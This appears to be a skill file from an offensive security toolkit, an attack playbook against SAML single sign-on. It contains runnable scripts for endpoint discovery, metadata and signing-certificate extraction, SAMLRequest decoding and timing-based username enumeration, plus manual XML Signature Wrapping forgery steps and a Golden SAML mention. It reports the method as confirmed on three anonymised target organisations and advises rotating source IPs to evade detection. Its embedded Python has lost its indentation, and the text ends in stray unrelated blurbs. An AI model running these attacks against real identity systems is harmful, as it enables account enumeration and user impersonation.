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| name | saml-sso-attack |
| description | Attack SAML SSO via XSW, signature strip, metadata extract. |
| version | 1.1.0 |
| revision_date | "2026-07-25T00:00:00.000Z" |
| license | MIT |
| platforms | ["linux"] |
| compatibility | Requires curl, python3, bash |
| tags | ["auth","SAML","SSO","XML-signature","identity"] |
| category | auth |
| related_skills | ["jwt-attack","exchange-owa-attack","api-noauth-hunt"] |
SAML Single Sign-On attack methodology — IdP metadata analysis, XML Signature Wrapping (XSW), signature stripping, comment injection in NameID, and SSO timing-based user enumeration. Confirmed on TARGET_ORG_A (SimpleSAMLphp IdP, 79 XMLRPC methods on WordPress SP), TARGET_ORG_B (Ory Kratos + OIDC), and TARGET_ORG_C (ADFS WS-Trust exposed).
idp., sso., login., auth. subdomains).SAMLRequest= or SAMLResponse= parameter./saml2/idp/metadata.php or /FederationMetadata/2007-06/FederationMetadata.xml.exchange-owa-attack discovers ADFS.# Discover SAML IdP metadata
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET/saml2/idp/metadata.php" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
content = sys.stdin.read()
if 'EntityDescriptor' in content:
root = ET.fromstring(content)
for el in root.iter():
if 'entityID' in el.attrib:
print(f'entityID: {el.attrib[\"entityID\"]}')
"
# Decode SAMLRequest from URL
echo "SAMLREQUEST_BASE64" | python3 -c "
import sys, base64, zlib
raw = base64.b64decode(sys.stdin.read().strip())
decompressed = zlib.decompress(raw, -15)
print(decompressed.decode())
"
| Attack | Prerequisites | Impact |
|---|---|---|
| XML Signature Wrapping (XSW) | Valid signed assertion from any user | Impersonate any user |
| Signature stripping | Server doesn't validate signature presence | Full identity forgery |
| Comment injection in NameID | NameID format allows comments | User impersonation |
| SAML Response replay |
No InResponseTo validation |
| Session hijacking |
| Key confusion | Multiple signing certs in metadata | Sign assertions with different key |
| Audience restriction bypass | No Audience validation | Cross-SP token reuse |
| Metadata extraction | Public IdP metadata | Discover certs, endpoints, bindings |
| Golden SAML (post-exploit) | Stolen ADFS token-signing cert | Forge tokens, impersonate any user |
TARGET="$1"
echo "[*] SAML endpoint discovery on $TARGET"
# Common SAML paths
declare -A SAML_PATHS
SAML_PATHS["/saml2/idp/metadata.php"]="SimpleSAMLphp IdP"
SAML_PATHS["/saml2/sp/metadata.php"]="SimpleSAMLphp SP"
SAML_PATHS["/FederationMetadata/2007-06/FederationMetadata.xml"]="ADFS"
SAML_PATHS["/adfs/ls/IdpInitiatedSignOn.aspx"]="ADFS Login"
SAML_PATHS["/adfs/services/trust"]="ADFS WS-Trust"
SAML_PATHS["/auth/realms/master/protocol/saml"]="Keycloak SAML"
SAML_PATHS["/.well-known/openid-configuration"]="OIDC"
SAML_PATHS["/sso/saml"]="Generic SAML"
SAML_PATHS["/idp/shibboleth"]="Shibboleth"
SAML_PATHS["/simplesamlphp"]="SimpleSAMLphp root"
for path in "${!SAML_PATHS[@]}"; do
code=$(curl -sk -o /dev/null -w "%{http_code}" --max-time 5 --connect-timeout 5 "https://$TARGET$path")
[[ "$code" == "200" || "$code" == "302" ]] && echo " [FOUND] $path — ${SAML_PATHS[$path]} (HTTP $code)"
sleep 1
done
METADATA_URL="$1" # e.g., https://idp.target.com/saml2/idp/metadata.php
echo "[*] Extracting SAML metadata from $METADATA_URL"
METADATA=$(curl -sk --max-time 10 --connect-timeout 10 "$METADATA_URL" 2>/dev/null)
if [[ -z "$METADATA" ]]; then
echo "[-] No metadata accessible"
exit 1
fi
# Parse with Python
echo "$METADATA" | python3 -c "
import sys
from xml.etree import ElementTree as ET
content = sys.stdin.read()
root = ET.fromstring(content)
# Namespaces
ns = {'md': 'urn:oasis:names:tc:SAML:2.0:metadata',
'ds': 'http://www.w3.org/2000/09/xmldsig#'}
# Entity ID
entity_id = root.get('entityID', 'unknown')
print(f'Entity ID: {entity_id}')
# Signing certificates
for cert_el in root.iter('{http://www.w3.org/2000/09/xmldsig#}X509Certificate'):
cert = cert_el.text.strip()
print(f'Signing Cert ({len(cert)} chars): {cert[:60]}...')
# SSO endpoints
for el in root.iter():
if 'Binding' in el.attrib:
binding = el.attrib['Binding']
location = el.attrib.get('Location', '')
if 'HTTP-Redirect' in binding or 'HTTP-POST' in binding:
print(f'Endpoint: {location} [{binding.split(\":\")[-1]}]')
# NameID formats
for el in root.iter('{urn:oasis:names:tc:SAML:2.0:metadata}NameIDFormat'):
print(f'NameID Format: {el.text}')
" 2>/dev/null
SAML_B64="$1" # from URL parameter or Burp
echo "[*] Decoding SAMLRequest"
echo "$SAML_B64" | python3 -c "
import sys, base64, zlib
from xml.etree import ElementTree as ET
raw = sys.stdin.read().strip()
decoded = base64.b64decode(raw)
try:
decompressed = zlib.decompress(decoded, -15)
except:
decompressed = decoded
xml = decompressed.decode('utf-8', errors='replace')
print(xml[:3000])
root = ET.fromstring(xml)
print()
print('=== Analysis ===')
# Request ID
req_id = root.get('ID', 'none')
print(f'Request ID: {req_id}')
# Issuer
issuer_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:assertion}Issuer')
if issuer_el is not None:
print(f'Issuer: {issuer_el.text}')
# ForceAuthn
force = root.get('ForceAuthn', 'false')
print(f'ForceAuthn: {force}')
# NameIDPolicy
policy_el = root.find('.//{urn:oasis:names:tc:SAML:2.0:protocol}NameIDPolicy')
if policy_el is not None:
allow_create = policy_el.get('AllowCreate', 'false')
fmt = policy_el.get('Format', 'unspecified')
print(f'NameIDPolicy: AllowCreate={allow_create}, Format={fmt}')
" 2>/dev/null
TARGET="$1" # SSO login endpoint
USERS_FILE="$2" # List of usernames/emails to test
echo "[*] SSO timing-based user enumeration"
# The technique: valid users produce a different response time than invalid users
# because the server checks LDAP/AD before returning the SAML response
while read -r user; do
START=$(date +%s%N)
curl -sk -o /dev/null --max-time 15 --connect-timeout 10 \
"https://$TARGET/sso/login?username=$user&password=WRONG_PASS" 2>/dev/null
END=$(date +%s%N)
ELAPSED=$(( (END - START) / 1000000 ))
echo " $user: ${ELAPSED}ms"
sleep 1
done < "$USERS_FILE" | sort -t: -k2 -rn | head -20
echo "[*] Users with significantly higher response times likely exist"
TARGET="$1"
echo "[*] XSW vulnerability analysis"
# Check if IdP signs only the Assertion (good) or the entire Response (better)
# If only the Assertion is signed, XSW is possible:
# 1. Capture a valid SAML Response with signed Assertion
# 2. Create a new Response containing the original signed Assertion + a forged Assertion
# 3. If the SP validates the forged Assertion instead of the signed one → impersonation
echo "[*] Manual XSW test steps:"
echo " 1. Capture SAML Response from browser (Burp/DevTools)"
echo " 2. Decode SAMLResponse (base64 + inflate)"
echo " 3. Check: is Signature on Response or Assertion level?"
echo " 4. If Assertion-level: wrap original Assertion + forged Assertion in new Response"
echo " 5. Submit forged SAMLResponse to SP ACS endpoint"
echo " 6. If SP accepts → XSW confirmed"
sleep between requests (≥1s) and use a pool of source IPs for production engagements.| CVE | Affected | Impact | Year |
|---|---|---|---|
| CVE-2025-25291 | ruby-saml ≤ 1.17.0 | Auth bypass via XSW / signature confusion | 2025 |
| CVE-2025-25292 | ruby-saml ≤ 1.17.0 | Auth bypass via parser differential | 2025 |
| CVE-2024-45428 | GitLab (ruby-saml) | SAML auth bypass — full account takeover | 2024 |
| CVE-2024-45409 | ruby-saml ≤ 1.16.0 | Signature wrapping (XSW) auth bypass | 2024 |
| CVE-2023-2813 | GitLab CE/EE | SAML group claim misvalidation | 2023 |
After gaining access to an ADFS server or extracting the token-signing certificate:
Full WSTG-aligned web application pentest — 12-phase methodology from information gathering through reporting, with concrete commands, expected outputs, pitfalls, and verification per phase.
Use when two or more verified findings may combine into a higher-impact authorized attack path.
Use when verified WordPress findings may combine into an authorized path to administrative or server control.
Based on SOC occupation classification
